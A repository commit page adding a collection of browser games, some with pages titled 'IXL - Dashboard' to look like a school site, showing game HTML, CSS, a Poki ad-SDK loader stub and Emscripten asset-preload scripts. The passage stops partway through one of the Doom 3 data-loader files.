Add files using upload-large-folder tool
Browse filesFiles changed (50)
- filestorage/gd/basketball-stars/index.htmlAdded+87
- filestorage/gd/capybara-clicker/game.cssAdded+162
- filestorage/gd/capybara-clicker/game_ob.min.jsAdded
- filestorage/gd/capybara-clicker/index.htmlAdded+43
- filestorage/gd/dadish/Dadish.jsAdded
- filestorage/gd/dadish/index.htmlAdded+49
- filestorage/gd/dadish/poki-sdk.jsAdded+164
- filestorage/gd/doom-3/d3wasm.jsAdded
- filestorage/gd/doom-3/demo_bootstrap.jsAdded+345
- filestorage/gd/doom-3/demo_game00.jsAdded+346
- filestorage/gd/doom-3/demo_game01.jsAdded+346
- filestorage/gd/doom-3/favicon.icoAdded
- filestorage/gd/doom-3/index.htmlAdded+364
- filestorage/gd/fnaf-3/index.htmlAdded+1741
- filestorage/gd/fnaf-pizza-sim/README.mdAdded+1
- filestorage/gd/fnaf-pizza-sim/Runtime.jsAdded
- filestorage/gd/fnaf-pizza-sim/index.htmlAdded+37
- filestorage/gd/fnaf-pizza-sim/main.jsAdded+157
- filestorage/gd/fnaf-pizza-sim/style.cssAdded+46
- filestorage/gd/fnfvsgolf/Funkin.jsAdded
- filestorage/gd/fnfvsgolf/changelog.txtAdded+150
- filestorage/gd/fnfvsgolf/do NOT readme.txtAdded+92
- filestorage/gd/fnfvsgolf/index.htmlAdded+79
- filestorage/gd/fnfvskrusty/.DS_StoreAdded
- filestorage/gd/fnfvskrusty/PsychEngine.jsAdded
- filestorage/gd/fnfvskrusty/do NOT readme.txtAdded+92
- filestorage/gd/fnfvskrusty/index.htmlAdded+83
- filestorage/gd/fnfvspibby2/PsychEngine.jsAdded
- filestorage/gd/fnfvspibby2/index.htmlAdded+82
- filestorage/gd/fnfvsupside/Funkin.jsAdded
- filestorage/gd/fridaynightfunkin/changelog.txtAdded+344
- filestorage/gd/fridaynightfunkin/do NOT readme.txtAdded+97
- filestorage/gd/fridaynightfunkin/index.htmlAdded+175
- filestorage/gd/gamesnacks.jsAdded+87
- filestorage/gd/gdlite/index.htmlAdded+260
- filestorage/gd/jbodah-admin-play/howler.core.jsAdded+2566
- filestorage/gd/jbodah-admin-play/index.htmlAdded+270
- filestorage/gd/jbodah-admin-play/index.jsAdded
- filestorage/gd/osu/index.htmlAdded+326
- filestorage/gd/osu/script.jsAdded
- filestorage/gd/owlskip-games-family/index.htmlAdded+27
- filestorage/gd/traffic-jam-3d/index.htmlAdded+22
- filestorage/gd/wrath-of-the-lamb/index.htmlAdded+15
- filestorage/gd/ytgame.jsAdded+64
- filestorage/photos/gitgay.svgAdded
- filestorage/photos/pd.svgAdded
- filestorage/photos/yaoi-error/images.jsonAdded+13
- musicapi/musicapi/covers/default.svgAdded
- musicapi/musicapi/covers/radio_krbe.svgAdded
- musicapi/musicapi/extract_metadata.pyAdded+194
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687<!DOCTYPE html><html lang="en"> <head>
<script src="/js/all.min.js"></script>
<meta charset="utf-8" /> <meta http-equiv="x-ua-compatible" content="ie=edge" /> <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, shrink-to-fit=no" /> <link rel="stylesheet" href="assets/css/app.css" type="text/css" /> <title>IXL - Dashboard</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body>
<script src="/assets/js/notifications.js"></script><script src="/assets/js/game-save-sync.js"></script>
<div id="content"></div> <div id="orientation"></div> <div id="loader">Loading ...</div> <script type="text/javascript" src="https://imasdk.googleapis.com/js/sdkloader/ima3.js"></script> <script type="text/javascript" src="assets/box2dweb/nape.min.js"> var nape ="nape.min.js" ; </script> <script type="text/javascript" src="assets/box2dweb/nape-debug-draw.min.js"></script> <script type="text/javascript" src="assets/box2dweb/jquery-3.1.1.min.js"></script> <script type="text/javascript" src="assets/box2dweb/easeljs-0.8.2.combined.js"></script> <script type="text/javascript" src="assets/box2dweb/bluebird.min.js"></script> <script type="text/javascript"> var useEvents = typeof Event === "function";
var myDispatchEvent = function (name) { var event; if (useEvents) { event = new Event(name); } else { event = document.createEvent("Event"); event.initEvent(name, true, true); } document.getElementById("content").dispatchEvent(event); };
window["GD_OPTIONS"] = { gameId: "69d78d071f704fa183d75b4114ae40ec", onEvent: function (event) { switch (event.name) { case "SDK_GAME_START": // advertisement done, resume game logic and unmute audio myDispatchEvent("SDK_GAME_START"); break; case "SDK_GAME_PAUSE": // pause game logic / mute audio myDispatchEvent("SDK_GAME_PAUSE"); // document.getElementById("content").dispatchEvent(new Event("SDK_GAME_PAUSE")); break; case "SDK_GDPR_TRACKING": // this event is triggered when your user doesn't want to be tracked console.log("SDK_GDPR_TRACKING"); break; case "SDK_GDPR_TARGETING": // this event is triggered when your user doesn't want personalised targeting of ads and such console.log("SDK_GDPR_TARGETING"); break; case "SDK_READY": // this event is triggered when your user doesn't want personalised targeting of ads and such console.log("SDK_READY"); // gdsdk.openConsole(); break; } }, }; (function (d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "assets/main.min.js"; fjs.parentNode.insertBefore(js, fjs); })(document, "script", "gamedistribution-jssdk"); </script> <script type="text/javascript" src="assets/basketball_legends_2019.min.js"></script> </body></html>123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162html { box-sizing: border-box;}
*,*:before,*:after { box-sizing: inherit;}
body { margin: 0; background-image: linear-gradient(rgb(0, 0, 0), rgb(0, 102, 255));}
#gameContainer { width: 100vw; height: 100vh;}
canvas { width: 100%; height: 100%; display: block;}
canvas+* { z-index: 2;}
.container { max-width: 1600px; position: relative;}
.posImg { position: absolute; top: 0; width: 100%; height: 100%;}
.logo { position: absolute; display: block; max-width: 100vw; max-height: 70vh; top: 300px;}
.pos_progress { position: absolute; bottom: 15%; width: 100%;}
.progress { margin: 1.5em auto; max-width: 436px; height: auto; display: none; position: relative;}
.full { width: 97%; transform-origin: top left;}
.box_process { width: 100%;}
.process { width: 98%;}
.progress .posfull,.progress .posbox { position: absolute; display: flex; align-items: center; justify-content: center;}
.progress .posfull { top: 8px; z-index: 1;}
.progress .posbox { top: 0; z-index: 2;}
#loader { position: absolute; left: 0; top: 0; width: 100%; height: 100%; display: flex; flex-direction: column; align-items: center; justify-content: center; background-image: linear-gradient(rgb(0, 0, 0), rgb(0, 102, 255));}
.pos_spinner { position: absolute; top: 70%; left: 50%; transform: translate(-30%, -50%);}
.spinner,.spinner:after { display: none; border-radius: 50%; width: 5em; height: 5em;}
.spinner { margin: 10px; font-size: 10px; position: relative; text-indent: -9999em; border-top: 1.1em solid rgba(255, 255, 255, 0.2); border-right: 1.1em solid rgba(255, 255, 255, 0.2); border-bottom: 1.1em solid rgba(255, 255, 255, 0.2); border-left: 1.1em solid #ffffff; transform: translateZ(0); animation: spinner-spin 1.1s infinite linear;}
@keyframes spinner-spin { 0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }}
body { margin: 0; padding: 0; color: rgba(255, 255, 255, 0.87); background-color: #000000; overflow: hidden;}
#app { width: 100%; height: 100vh; overflow: hidden; display: flex; justify-content: center; align-items: center;}12345678910111213141516171819202122232425262728293031323334353637383940414243<!DOCTYPE html><html lang="en-US">
<head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>IXL - Dashboard</title> <meta name="description" content="Capybara Clicker the best clicker games"> <meta name="title" content="Capybara Clicker"> <meta name="keywords" content="Capybara Clicker"> <meta name="news_keywords" content="Capybara Clicker"> <link rel="icon" href="logo-capybara-licker.png"> <meta name="robots" content="noindex">
<body>
<script src="/assets/js/notifications.js"></script><script src="/assets/js/game-save-sync.js"></script>
<link rel="stylesheet" href="game.css"> <style> @font-face { font-family: 'myfont'; src: url('assets/fonts/BuloRounded-Black.ttf'); }
.myfont { font-family: myfont; position: absolute; left: -100000px; visibility: hidden; } </style> <script defer="defer" src="game_ob.min.js"></script> <div class="myfont">.</div> <div id="app"> <div id="game-container"></div> </div></body>
</html>12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849<!DOCTYPE html><html lang="en"><head> <script src="/js/all.min.js"></script> <meta charset="utf-8">
<title>Dadish</title>
<meta id="viewport" name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" /> <meta name="apple-mobile-web-app-capable" content="yes">
<link rel="shortcut icon" type="image/png" href="./favicon.png"> <script src="poki-sdk.js"></script>
<script type="text/javascript" src="./Dadish.js"></script>
<script> window.addEventListener ("touchmove", function (event) { event.preventDefault (); }, { capture: false, passive: false }); if (typeof window.devicePixelRatio != 'undefined' && window.devicePixelRatio > 2) { var meta = document.getElementById ("viewport"); meta.setAttribute ('content', 'width=device-width, initial-scale=' + (2 / window.devicePixelRatio) + ', user-scalable=no'); } </script>
<style> html,body { margin: 0; padding: 0; height: 100%; overflow: hidden; } #content { background: #000000; width: 100%; height: 100%; }
</style>
<script src="/assets/js/notifications.js"></script><script src="/assets/js/game-save-sync.js"></script></head><body>
<div id="content"></div>
<script type="text/javascript"> lime.embed ("Dadish POKI", "content", 768, 432); </script>
</body></html>123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164(() => { "use strict"; function e() { var e; try { (e = performance .getEntriesByType("resource") .map(function (e) { return e.transferSize; }) .reduce(function (e, t) { return e + t; })), (e += performance.getEntriesByType("navigation")[0].transferSize); } catch (e) {} return e; } var t = function (e) { var t = RegExp("[?&]".concat(e, "=([^&]*)")).exec(window.location.search); return t && decodeURIComponent(t[1].replace(/\+/g, " ")); }, n = "kids" === t("tag"), o = !!window.adBridge, r = "yes" === t("hoist") || "yes" === t("gdhoist"), i = new ((function () { function e() { var e = this; (this.queue = []), (this.init = function (t, n) { return ( void 0 === t && (t = {}), void 0 === n && (n = {}), new Promise(function (o, r) { e.enqueue("init", [t, n], o, r); }) ); }), (this.rewardedBreak = function () { return new Promise(function (e) { e(!1); }); }), (this.commercialBreak = function (t) { return new Promise(function (n, o) { e.enqueue("commercialBreak", [t], n, o); }); }), (this.displayAd = function (e, t, n, o) { o && o(!0), n && n(); }), (this.withArguments = function (t) { return function () { for (var n = [], o = 0; o < arguments.length; o++) n[o] = arguments[o]; e.enqueue(t, n); }; }), (this.handleAutoResolvePromise = function () { return new Promise(function (e) { e(); }); }), (this.throwNotLoaded = function () { console.debug("PokiSDK is not loaded yet. Not all methods are available."); }), (this.doNothing = function () {}); } return ( (e.prototype.enqueue = function (e, t, o, r) { var i = { fn: e, args: t || [], resolveFn: o, rejectFn: r }; n ? o && o(!0) : this.queue.push(i); }), (e.prototype.dequeue = function () { for ( var e = this, t = function () { var t, o, r = n.queue.shift(), i = r, a = i.fn, c = i.args; if ("function" == typeof window.PokiSDK[a]) if ((null == r ? void 0 : r.resolveFn) || (null == r ? void 0 : r.rejectFn)) { var u = "init" === a; if ( ((t = window.PokiSDK)[a] .apply(t, c) .catch(function () { for (var t = [], n = 0; n < arguments.length; n++) t[n] = arguments[n]; "function" == typeof r.rejectFn && r.rejectFn.apply(r, t), u && setTimeout(function () { e.dequeue(); }, 0); }) .then(function () { for (var t = [], n = 0; n < arguments.length; n++) t[n] = arguments[n]; "function" == typeof r.resolveFn && r.resolveFn.apply(r, t), u && setTimeout(function () { e.dequeue(); }, 0); }), u) ) return "break"; } else (o = window.PokiSDK)[a].apply(o, c); else console.error("Cannot execute ".concat(a)); }, n = this; this.queue.length > 0;
) { if ("break" === t()) break; } }), e ); })())(); (window.PokiSDK = { init: i.init, initWithVideoHB: i.init, commercialBreak: i.commercialBreak, rewardedBreak: i.rewardedBreak, displayAd: i.displayAd, destroyAd: i.doNothing, getLeaderboard: i.handleAutoResolvePromise, shareableURL: function () { return new Promise(function (e, t) { return t(); }); }, getURLParam: function (e) { return t("gd".concat(e)) || t(e) || ""; }, getLanguage: function () { return navigator.language.toLowerCase().split("-")[0]; }, isAdBlocked: function () {}, }), ["captureError", "customEvent", "gameInteractive", "gameLoadingFinished", "gameLoadingProgress", "gameLoadingStart", "gameplayStart", "gameplayStop", "happyTime", "logError", "muteAd", "roundEnd", "roundStart", "sendHighscore", "setDebug", "setDebugTouchOverlayController", "setLogging", "setPlayerAge", "setPlaytestCanvas", "enableEventTracking", "playtestSetCanvas", "playtestCaptureHtmlOnce"].forEach(function (e) { window.PokiSDK[e] = i.withArguments(e); }), o || n || (window.pokiCancelProgressInterval = setInterval(function () { window.parent.postMessage({ type: "pokiProgress", downloaded: e() }, "*"); }, 1e3)); var a = (function () { var e = window.pokiSDKVersion || t("ab") || "a7c3d8457e9d001550c049f821d50d7c386f7a05", i = "poki-sdk-core-".concat(e, ".js"); n && (i = "poki-sdk-kids-".concat(e, ".js")), o && (i = "poki-sdk-playground-".concat(e, ".js")), r && (i = "poki-sdk-hoist-".concat(e, ".js")); new URL(document.currentScript.src); return "".concat(e, "/").concat(i); })(), c = document.createElement("script"); c.setAttribute("src", a), c.setAttribute("type", "text/javascript"), c.setAttribute("crossOrigin", "anonymous"), (c.onload = function () { return i.dequeue(); }), document.head.appendChild(c);})();123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345
var Module = typeof Module !== 'undefined' ? Module : {};
if (!Module.expectedDataFileDownloads) { Module.expectedDataFileDownloads = 0; Module.finishedDataFileDownloads = 0;}Module.expectedDataFileDownloads++;(function() { var loadPackage = function(metadata) {
var PACKAGE_PATH; if (typeof window === 'object') { PACKAGE_PATH = window['encodeURIComponent'](window.location.pathname.toString().substring(0, window.location.pathname.toString().lastIndexOf('/')) + '/'); } else if (typeof location !== 'undefined') { // worker PACKAGE_PATH = encodeURIComponent(location.pathname.toString().substring(0, location.pathname.toString().lastIndexOf('/')) + '/'); } else { throw 'using preloaded data can only be done on a web page or in a web worker'; } var PACKAGE_NAME = 'demo_bootstrap.data'; var REMOTE_PACKAGE_BASE = 'demo_bootstrap.data'; if (typeof Module['locateFilePackage'] === 'function' && !Module['locateFile']) { Module['locateFile'] = Module['locateFilePackage']; err('warning: you defined Module.locateFilePackage, that has been renamed to Module.locateFile (using your locateFilePackage for now)'); } var REMOTE_PACKAGE_NAME = Module['locateFile'] ? Module['locateFile'](REMOTE_PACKAGE_BASE, '') : REMOTE_PACKAGE_BASE; var REMOTE_PACKAGE_SIZE = metadata.remote_package_size; var PACKAGE_UUID = metadata.package_uuid; function fetchRemotePackage(packageName, packageSize, callback, errback) { var xhr = new XMLHttpRequest(); xhr.open('GET', packageName, true); xhr.responseType = 'arraybuffer'; xhr.onprogress = function(event) { var url = packageName; var size = packageSize; if (event.total) size = event.total; if (event.loaded) { if (!xhr.addedTotal) { xhr.addedTotal = true; if (!Module.dataFileDownloads) Module.dataFileDownloads = {}; Module.dataFileDownloads[url] = { loaded: event.loaded, total: size }; } else { Module.dataFileDownloads[url].loaded = event.loaded; } var total = 0; var loaded = 0; var num = 0; for (var download in Module.dataFileDownloads) { var data = Module.dataFileDownloads[download]; total += data.total; loaded += data.loaded; num++; } total = Math.ceil(total * Module.expectedDataFileDownloads/num); if (Module['setStatus']) Module['setStatus']('Downloading data... (' + loaded + '/' + total + ')'); } else if (!Module.dataFileDownloads) { if (Module['setStatus']) Module['setStatus']('Downloading data...'); } }; xhr.onerror = function(event) { throw new Error("NetworkError for: " + packageName); } xhr.onload = function(event) { if (xhr.status == 200 || xhr.status == 304 || xhr.status == 206 || (xhr.status == 0 && xhr.response)) { // file URLs can return 0 var packageData = xhr.response; callback(packageData); } else { throw new Error(xhr.statusText + " : " + xhr.responseURL); } }; xhr.send(null); };
function handleError(error) { console.error('package error:', error); }; function runWithFS() {
function assert(check, msg) { if (!check) throw msg + new Error().stack; }Module['FS_createPath']('/', 'usr', true, true);Module['FS_createPath']('/usr', 'local', true, true);Module['FS_createPath']('/usr/local', 'share', true, true);Module['FS_createPath']('/usr/local/share', 'd3wasm', true, true);Module['FS_createPath']('/usr/local/share/d3wasm', 'base', true, true);
function DataRequest(start, end, audio) { this.start = start; this.end = end; this.audio = audio; } DataRequest.prototype = { requests: {}, open: function(mode, name) { this.name = name; this.requests[name] = this; Module['addRunDependency']('fp ' + this.name); }, send: function() {}, onload: function() { var byteArray = this.byteArray.subarray(this.start, this.end); this.finish(byteArray); }, finish: function(byteArray) { var that = this;
Module['FS_createDataFile'](this.name, null, byteArray, true, true, true); // canOwn this data in the filesystem, it is a slide into the heap that will never change Module['removeRunDependency']('fp ' + that.name);
this.requests[this.name] = null; } };
var files = metadata.files; for (var i = 0; i < files.length; ++i) { new DataRequest(files[i].start, files[i].end, files[i].audio).open('GET', files[i].filename); }
var indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB; var IDB_RO = "readonly"; var IDB_RW = "readwrite"; var DB_NAME = "EM_PRELOAD_CACHE"; var DB_VERSION = 1; var METADATA_STORE_NAME = 'METADATA'; var PACKAGE_STORE_NAME = 'PACKAGES'; function openDatabase(callback, errback) { try { var openRequest = indexedDB.open(DB_NAME, DB_VERSION); } catch (e) { return errback(e); } openRequest.onupgradeneeded = function(event) { var db = event.target.result;
if(db.objectStoreNames.contains(PACKAGE_STORE_NAME)) { db.deleteObjectStore(PACKAGE_STORE_NAME); } var packages = db.createObjectStore(PACKAGE_STORE_NAME);
if(db.objectStoreNames.contains(METADATA_STORE_NAME)) { db.deleteObjectStore(METADATA_STORE_NAME); } var metadata = db.createObjectStore(METADATA_STORE_NAME); }; openRequest.onsuccess = function(event) { var db = event.target.result; callback(db); }; openRequest.onerror = function(error) { errback(error); }; };
// This is needed as chromium has a limit on per-entry files in IndexedDB // https://cs.chromium.org/chromium/src/content/renderer/indexed_db/webidbdatabase_impl.cc?type=cs&sq=package:chromium&g=0&l=177 // https://cs.chromium.org/chromium/src/out/Debug/gen/third_party/blink/public/mojom/indexeddb/indexeddb.mojom.h?type=cs&sq=package:chromium&g=0&l=60 // We set the chunk size to 64MB to stay well-below the limit var CHUNK_SIZE = 64 * 1024 * 1024;
function cacheRemotePackage( db, packageName, packageData, packageMeta, callback, errback ) { var transactionPackages = db.transaction([PACKAGE_STORE_NAME], IDB_RW); var packages = transactionPackages.objectStore(PACKAGE_STORE_NAME); var chunkSliceStart = 0; var nextChunkSliceStart = 0; var chunkCount = Math.ceil(packageData.byteLength / CHUNK_SIZE); var finishedChunks = 0; for (var chunkId = 0; chunkId < chunkCount; chunkId++) { nextChunkSliceStart += CHUNK_SIZE; var putPackageRequest = packages.put( packageData.slice(chunkSliceStart, nextChunkSliceStart), 'package/' + packageName + '/' + chunkId ); chunkSliceStart = nextChunkSliceStart; putPackageRequest.onsuccess = function(event) { finishedChunks++; if (finishedChunks == chunkCount) { var transaction_metadata = db.transaction( [METADATA_STORE_NAME], IDB_RW ); var metadata = transaction_metadata.objectStore(METADATA_STORE_NAME); var putMetadataRequest = metadata.put( { uuid: packageMeta.uuid, chunkCount: chunkCount }, 'metadata/' + packageName ); putMetadataRequest.onsuccess = function(event) { callback(packageData); }; putMetadataRequest.onerror = function(error) { errback(error); }; } }; putPackageRequest.onerror = function(error) { errback(error); }; } }
/* Check if there's a cached package, and if so whether it's the latest available */ function checkCachedPackage(db, packageName, callback, errback) { var transaction = db.transaction([METADATA_STORE_NAME], IDB_RO); var metadata = transaction.objectStore(METADATA_STORE_NAME); var getRequest = metadata.get('metadata/' + packageName); getRequest.onsuccess = function(event) { var result = event.target.result; if (!result) { return callback(false, null); } else { return callback(PACKAGE_UUID === result.uuid, result); } }; getRequest.onerror = function(error) { errback(error); }; }
function fetchCachedPackage(db, packageName, metadata, callback, errback) { var transaction = db.transaction([PACKAGE_STORE_NAME], IDB_RO); var packages = transaction.objectStore(PACKAGE_STORE_NAME);
var chunksDone = 0; var totalSize = 0; var chunks = new Array(metadata.chunkCount);
for (var chunkId = 0; chunkId < metadata.chunkCount; chunkId++) { var getRequest = packages.get('package/' + packageName + '/' + chunkId); getRequest.onsuccess = function(event) { // If there's only 1 chunk, there's nothing to concatenate it with so we can just return it now if (metadata.chunkCount == 1) { callback(event.target.result); } else { chunksDone++; totalSize += event.target.result.byteLength; chunks.push(event.target.result); if (chunksDone == metadata.chunkCount) { if (chunksDone == 1) { callback(event.target.result); } else { var tempTyped = new Uint8Array(totalSize); var byteOffset = 0; for (var chunkId in chunks) { var buffer = chunks[chunkId]; tempTyped.set(new Uint8Array(buffer), byteOffset); byteOffset += buffer.byteLength; buffer = undefined; } chunks = undefined; callback(tempTyped.buffer); tempTyped = undefined; } } } }; getRequest.onerror = function(error) { errback(error); }; } } function processPackageData(arrayBuffer) { Module.finishedDataFileDownloads++; assert(arrayBuffer, 'Loading data file failed.'); assert(arrayBuffer instanceof ArrayBuffer, 'bad input to processPackageData'); var byteArray = new Uint8Array(arrayBuffer); var curr; // Reuse the bytearray from the XHR as the source for file reads. DataRequest.prototype.byteArray = byteArray; var files = metadata.files; for (var i = 0; i < files.length; ++i) { DataRequest.prototype.requests[files[i].filename].onload(); } Module['removeRunDependency']('datafile_demo_bootstrap.data');
}; Module['addRunDependency']('datafile_demo_bootstrap.data'); if (!Module.preloadResults) Module.preloadResults = {}; function preloadFallback(error) { console.error(error); console.error('falling back to default preload behavior'); fetchRemotePackage(REMOTE_PACKAGE_NAME, REMOTE_PACKAGE_SIZE, processPackageData, handleError); };
openDatabase( function(db) { checkCachedPackage(db, PACKAGE_PATH + PACKAGE_NAME, function(useCached, metadata) { Module.preloadResults[PACKAGE_NAME] = {fromCache: useCached}; if (useCached) { console.info('loading ' + PACKAGE_NAME + ' from cache'); fetchCachedPackage(db, PACKAGE_PATH + PACKAGE_NAME, metadata, processPackageData, preloadFallback); } else { console.info('loading ' + PACKAGE_NAME + ' from remote'); fetchRemotePackage(REMOTE_PACKAGE_NAME, REMOTE_PACKAGE_SIZE, function(packageData) { cacheRemotePackage(db, PACKAGE_PATH + PACKAGE_NAME, packageData, {uuid:PACKAGE_UUID}, processPackageData, function(error) { console.error(error); processPackageData(packageData); }); } , preloadFallback); } } , preloadFallback); } , preloadFallback);
if (Module['setStatus']) Module['setStatus']('Downloading...'); } if (Module['calledRun']) { runWithFS(); } else { if (!Module['preRun']) Module['preRun'] = []; Module["preRun"].push(runWithFS); // FS is not initialized yet, wait for it }
} loadPackage({"files": [{"start": 0, "audio": 0, "end": 671705, "filename": "/usr/local/share/d3wasm/base/demo_bootstrap.pk4"}], "remote_package_size": 671705, "package_uuid": "2e5de27a-7caa-4ec7-8764-58c49ab43798"});
})();123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346
var Module = typeof Module !== 'undefined' ? Module : {};
if (!Module.expectedDataFileDownloads) { Module.expectedDataFileDownloads = 0; Module.finishedDataFileDownloads = 0;}Module.expectedDataFileDownloads++;(function() { var loadPackage = function(metadata) {
var PACKAGE_PATH; if (typeof window === 'object') { PACKAGE_PATH = window['encodeURIComponent'](window.location.pathname.toString().substring(0, window.location.pathname.toString().lastIndexOf('/')) + '/'); } else if (typeof location !== 'undefined') { // worker PACKAGE_PATH = encodeURIComponent(location.pathname.toString().substring(0, location.pathname.toString().lastIndexOf('/')) + '/'); } else { throw 'using preloaded data can only be done on a web page or in a web worker'; } var PACKAGE_NAME = 'demo_game00.data'; var REMOTE_PACKAGE_BASE = 'demo_game00.data'; if (typeof Module['locateFilePackage'] === 'function' && !Module['locateFile']) { Module['locateFile'] = Module['locateFilePackage']; err('warning: you defined Module.locateFilePackage, that has been renamed to Module.locateFile (using your locateFilePackage for now)'); } var REMOTE_PACKAGE_NAME = Module['locateFile'] ? Module['locateFile'](REMOTE_PACKAGE_BASE, '') : REMOTE_PACKAGE_BASE; var REMOTE_PACKAGE_SIZE = metadata.remote_package_size; var PACKAGE_UUID = metadata.package_uuid; function fetchRemotePackage(packageName, packageSize, callback, errback) { var xhr = new XMLHttpRequest(); xhr.open('GET', packageName, true); xhr.responseType = 'arraybuffer'; xhr.onprogress = function(event) { var url = packageName; var size = packageSize; if (event.total) size = event.total; if (event.loaded) { if (!xhr.addedTotal) { xhr.addedTotal = true; if (!Module.dataFileDownloads) Module.dataFileDownloads = {}; Module.dataFileDownloads[url] = { loaded: event.loaded, total: size }; } else { Module.dataFileDownloads[url].loaded = event.loaded; } var total = 0; var loaded = 0; var num = 0; for (var download in Module.dataFileDownloads) { var data = Module.dataFileDownloads[download]; total += data.total; loaded += data.loaded; num++; } total = Math.ceil(total * Module.expectedDataFileDownloads/num); if (Module['setStatus']) Module['setStatus']('Downloading data... (' + loaded + '/' + total + ')'); } else if (!Module.dataFileDownloads) { if (Module['setStatus']) Module['setStatus']('Downloading data...'); } }; xhr.onerror = function(event) { throw new Error("NetworkError for: " + packageName); } xhr.onload = function(event) { if (xhr.status == 200 || xhr.status == 304 || xhr.status == 206 || (xhr.status == 0 && xhr.response)) { // file URLs can return 0 var packageData = xhr.response; callback(packageData); } else { throw new Error(xhr.statusText + " : " + xhr.responseURL); } }; xhr.send(null); };
function handleError(error) { console.error('package error:', error); }; function runWithFS() {
function assert(check, msg) { if (!check) throw msg + new Error().stack; }Module['FS_createPath']('/', 'usr', true, true);Module['FS_createPath']('/usr', 'local', true, true);Module['FS_createPath']('/usr/local', 'share', true, true);Module['FS_createPath']('/usr/local/share', 'd3wasm', true, true);Module['FS_createPath']('/usr/local/share/d3wasm', 'base', true, true);
function DataRequest(start, end, audio) { this.start = start; this.end = end; this.audio = audio; } DataRequest.prototype = { requests: {}, open: function(mode, name) { this.name = name; this.requests[name] = this; Module['addRunDependency']('fp ' + this.name); }, send: function() {}, onload: function() { var byteArray = this.byteArray.subarray(this.start, this.end); this.finish(byteArray); }, finish: function(byteArray) { var that = this;
Module['FS_createDataFile'](this.name, null, byteArray, true, true, true); // canOwn this data in the filesystem, it is a slide into the heap that will never change Module['removeRunDependency']('fp ' + that.name);
this.requests[this.name] = null; } };
var files = metadata.files; for (var i = 0; i < files.length; ++i) { new DataRequest(files[i].start, files[i].end, files[i].audio).open('GET', files[i].filename); }
var indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB; var IDB_RO = "readonly"; var IDB_RW = "readwrite"; var DB_NAME = "EM_PRELOAD_CACHE"; var DB_VERSION = 1; var METADATA_STORE_NAME = 'METADATA'; var PACKAGE_STORE_NAME = 'PACKAGES'; function openDatabase(callback, errback) { try { var openRequest = indexedDB.open(DB_NAME, DB_VERSION); } catch (e) { return errback(e); } openRequest.onupgradeneeded = function(event) { var db = event.target.result;
if(db.objectStoreNames.contains(PACKAGE_STORE_NAME)) { db.deleteObjectStore(PACKAGE_STORE_NAME); } var packages = db.createObjectStore(PACKAGE_STORE_NAME);
if(db.objectStoreNames.contains(METADATA_STORE_NAME)) { db.deleteObjectStore(METADATA_STORE_NAME); } var metadata = db.createObjectStore(METADATA_STORE_NAME); }; openRequest.onsuccess = function(event) { var db = event.target.result; callback(db); }; openRequest.onerror = function(error) { errback(error); }; };
// This is needed as chromium has a limit on per-entry files in IndexedDB // https://cs.chromium.org/chromium/src/content/renderer/indexed_db/webidbdatabase_impl.cc?type=cs&sq=package:chromium&g=0&l=177 // https://cs.chromium.org/chromium/src/out/Debug/gen/third_party/blink/public/mojom/indexeddb/indexeddb.mojom.h?type=cs&sq=package:chromium&g=0&l=60 // We set the chunk size to 64MB to stay well-below the limit var CHUNK_SIZE = 64 * 1024 * 1024;
